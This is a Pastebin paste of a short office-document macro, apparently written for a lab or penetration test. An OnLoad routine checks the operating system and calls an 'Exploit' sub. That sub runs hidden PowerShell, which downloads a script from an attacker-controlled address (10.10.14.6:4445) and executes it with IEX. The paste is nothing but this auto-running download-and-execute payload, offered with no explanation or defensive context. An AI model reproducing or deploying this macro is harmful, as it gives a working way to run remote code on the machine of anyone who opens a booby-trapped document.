SHARE
TWEET

Untitled

a guest Jun 8th, 2018 75 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  Sub OnLoad
  2.       Dim os as string
  3.       os = GetOS
  4.       If os = "windows" OR os = "osx" OR os = "linux" Then
  5.         Exploit
  6.       end If
  7.     End Sub
  8.  
  9.     Sub Exploit
  10.       Shell("cmd.exe /C ""powershell.exe -nop -w hidden -c $m=new-object net.webclient;$m.proxy=[Net.WebRequest]::GetSystemWebProxy();$m.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $m.downloadstring('http://10.10.14.6:4445/mbpDtxcsPhmwd');""")
  11.     End Sub
  12.  
  13.     Function GetOS() as string
  14.       select case getGUIType
  15.         case 1:
  16.           GetOS = "windows"
  17.         case 3:
  18.           GetOS = "osx"
  19.         case 4:
  20.           GetOS = "linux"
  21.       end select
  22.     End Function
  23.  
  24.     Function GetExtName() as string
  25.       select case GetOS
  26.         case "windows"
  27.           GetFileName = "exe"
  28.         case else
  29.           GetFileName = "bin"
  30.       end select
  31.     End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top